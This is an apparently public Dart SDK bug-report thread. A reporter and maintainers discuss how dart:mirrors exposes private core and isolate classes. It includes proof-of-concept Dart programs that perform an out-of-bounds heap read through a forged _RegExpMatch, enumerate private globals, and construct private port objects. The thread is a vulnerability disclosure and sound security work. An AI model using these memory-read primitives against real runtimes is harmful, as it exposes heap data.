[vm/mirrors] Out of bounds memory read using private dart:core functionality

[mdempsky]

Program below demonstrates an out-of-bounds memory read primitive. In particular, I'm able to read memory relative to any string object's char data.

import "dart:mirrors";

main() {
  var libs = currentMirrorSystem().libraries;
  var core = libs[Uri(scheme: "dart", path: "core")];

  var rx = RegExp("(bar)");
  rx.firstMatch("foobar"); // dummy match to compute _groupCount

  ClassMirror mirrorRegExpMatch;
  for (var d in core.declarations.entries) {
    if (d.key.toString() == Symbol("_RegExpMatch").toString()) {
      mirrorRegExpMatch = d.value as ClassMirror;
    }
  }

  var match = mirrorRegExpMatch.newInstance(Symbol(""), [rx, "foo", [1024, 1088]]).reflectee as RegExpMatch;
  var z = match.group(0);
  print(z.codeUnits); // prints 64 random bytes of heap memory
}

The underlying issue here is that _RegExpMatch.group uses String._substringUnchecked to slice the matched string into substrings. It assumes that _RegExpMatch objects will only be created by _RegExp itself and thus indices will be in bounds.

There's some VM logic to prevent dart:mirrors from accessing private declarations within dart: packages, but this doesn't prevent accessing either private top-level classes or their default constructors.

/cc @crelier @rmacnak-google

[mdempsky]

@rmacnak-google Thanks for the quick CL.

Relatedly, I notice that dart:mirrors can be used to access and mutate private global variables within libraries. Is that by design or an oversight? Script below identifies 20 such variables.

I couldn't immediately find any ways to take advantage of this, but I was able to trigger crashes through things like manipulating _stdinFD.

import 'dart:mirrors';

main() {
  var libs = currentMirrorSystem().libraries;
  for (var e in libs.entries) {
    if (e.key.scheme != "dart") {
      continue;
    }
    print("# ${e.key.path}");

    for (var d in e.value.declarations.entries) {
      if (!d.key.toString().startsWith('Symbol("_') ||
          !(d.value is VariableMirror)) {
        continue;
      }
      VariableMirror m = d.value as VariableMirror;
      if (m.isConst || m.isFinal) {
        continue;
      }
      print("${d.key} -> ${e.value.getField(d.key).reflectee}");
    }
    print("");
  }
}

[mdempsky]

Test script below creates more private Dart core library classes using default factories:

import "dart:mirrors";

V getPrivate<V>(Map<Symbol, V> m, String name) {
  String mangled = Symbol(name).toString();
  for (var e in m.entries) {
    if (e.key.toString() == mangled) {
      return e.value;
    }
  }
  return null;
}

tryMake(Map<Symbol, DeclarationMirror> decls, String name) {
  try {
    var cls = getPrivate(decls, name) as ClassMirror;
    return cls.newInstance(Symbol(""), []).reflectee;
  } catch (e) {
    return e;
  }
}

main() {
  var libs = currentMirrorSystem().libraries;
  var core = libs[Uri(scheme: "dart", path: "isolate")];

  print(tryMake(core.declarations, "_CapabilityImpl"));
  print(tryMake(core.declarations, "_ReceivePortImpl"));
  print(tryMake(core.declarations, "_SendPortImpl"));
}

Notably creating ReceivePortImpl prevents the Dart VM from shutting down normally. I'm guessing because the Isolate is waiting for all of its Ports to shutdown first.

Being able to create SendPortImpl seems scary too. It appears to be reading a bogus Dart_Port value out of the heap, so there's a risk it could allow sending messages to arbitrary receivers. However, this seems mitigated that (1) it appears to always read the same Dart_Port value (so you can't keep retrying until you get a useful one), and (2) PortMap::AllocatePort only allocates 30-bit Dart_Port values, whereas the garbage Dart_Port values read from the heap always seem to be much larger. Maybe an attacker can indirectly control those 64-bits of memory though.

[crelier]

@rmacnak-google will send a CL addressing this.
However, dart:mirrors are not available in security critical deployments. The team is actually more worried by possible vulnerabilities in dart:io.

[rmacnak-google]

The constructors for _CapabilityImpl and _ReceiverPortImpl are harness; they are publicly available as Capability and ReceivePort. The _SendPortImpl constructor is dangerous because it allows reinterpreting the address of null as a port id.